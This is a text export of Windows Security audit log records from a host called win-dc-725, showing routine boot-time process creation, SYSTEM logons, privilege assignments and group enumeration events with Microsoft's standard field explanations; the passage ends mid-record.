Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:39:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=245755
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x248
	New Process Name:	C:\Windows\System32\autochk.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1bc
	Creator Process Name:	C:\Windows\System32\smss.exe
	Process Command Line:	

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:39:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=245754
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1bc
	New Process Name:	C:\Windows\System32\smss.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x4
	Creator Process Name:	
	Process Command Line:	

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:39:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4826
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Other Policy Change Events
OpCode=Info
RecordNumber=245753
Keywords=Audit Success
Message=Boot Configuration Data loaded.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x3E7

General Settings:
	Load Options:		-
	Advanced Options:		No
	Configuration Access Policy:	Default
	System Event Logging:	No
	Kernel Debugging:	No
	VSM Launch Type:	Off

Signature Settings:
	Test Signing:		No
	Flight Signing:		No
	Disable Integrity Checks:	No

HyperVisor Settings:
	HyperVisor Load Options:	-
	HyperVisor Launch Type:	Off
	HyperVisor Debugging:	No
03/11/2021 11:39:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245768
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7

Privileges:		SeAssignPrimaryTokenPrivilege
			SeTcbPrivilege
			SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeAuditPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:39:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=245767
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Logon Information:
	Logon Type:		5
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x34c
	Process Name:		C:\Windows\System32\services.exe

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:39:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4902
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=245766
Keywords=Audit Success
Message=The Per-user audit policy table was created.

Number of Elements:	0
Policy ID:	0x554F
03/11/2021 11:39:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=245765
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		0
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		-

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x4
	Process Name:		

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		-
	Authentication Package:	-
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:39:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4608
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Security State Change
OpCode=Info
RecordNumber=245764
Keywords=Audit Success
Message=Windows is starting up.

This event is logged when LSASS.EXE starts and the auditing subsystem is initialized.
03/11/2021 11:39:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=245763
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x354
	New Process Name:	C:\Windows\System32\lsass.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x2c4
	Creator Process Name:	C:\Windows\System32\wininit.exe
	Process Command Line:	

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:39:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=245762
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x34c
	New Process Name:	C:\Windows\System32\services.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x2c4
	Creator Process Name:	C:\Windows\System32\wininit.exe
	Process Command Line:	

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:39:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=245761
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x304
	New Process Name:	C:\Windows\System32\winlogon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x2bc
	Creator Process Name:	C:\Windows\System32\smss.exe
	Process Command Line:	

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:39:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=245760
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x2cc
	New Process Name:	C:\Windows\System32\csrss.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x2bc
	Creator Process Name:	C:\Windows\System32\smss.exe
	Process Command Line:	

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:39:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=245759
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x2c4
	New Process Name:	C:\Windows\System32\wininit.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x274
	Creator Process Name:	C:\Windows\System32\smss.exe
	Process Command Line:	

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:39:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=245758
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x2bc
	New Process Name:	C:\Windows\System32\smss.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1bc
	Creator Process Name:	C:\Windows\System32\smss.exe
	Process Command Line:	

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:39:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=245757
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x27c
	New Process Name:	C:\Windows\System32\csrss.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x274
	Creator Process Name:	C:\Windows\System32\smss.exe
	Process Command Line:	

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:39:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=245793
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		No

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\ANONYMOUS LOGON
	Account Name:		ANONYMOUS LOGON
	Account Domain:		NT AUTHORITY
	Logon ID:		0x13973
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		NtLmSsp 
	Authentication Package:	NTLM
	Transited Services:	-
	Package Name (NTLM only):	NTLM V1
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:39:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=245792
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Group:
	Security ID:		BUILTIN\Backup Operators
	Group Name:		Backup Operators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe
03/11/2021 11:39:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=245791
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe
03/11/2021 11:39:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245790
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7

Privileges:		SeAssignPrimaryTokenPrivilege
			SeTcbPrivilege
			SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeAuditPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:39:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=245789
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Logon Information:
	Logon Type:		5
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x34c
	Process Name:		C:\Windows\System32\services.exe

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:39:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245788
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7

Privileges:		SeAssignPrimaryTokenPrivilege
			SeTcbPrivilege
			SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeAuditPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:39:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=245787
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Logon Information:
	Logon Type:		5
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x34c
	Process Name:		C:\Windows\System32\services.exe

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:39:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245786
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7

Privileges:		SeAssignPrimaryTokenPrivilege
			SeTcbPrivilege
			SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeAuditPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:39:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=245785
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Logon Information:
	Logon Type:		5
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x34c
	Process Name:		C:\Windows\System32\services.exe

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:39:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=5033
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Other System Events
OpCode=Info
RecordNumber=245784
Keywords=Audit Success
Message=The Windows Firewall Driver started successfully.
03/11/2021 11:39:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
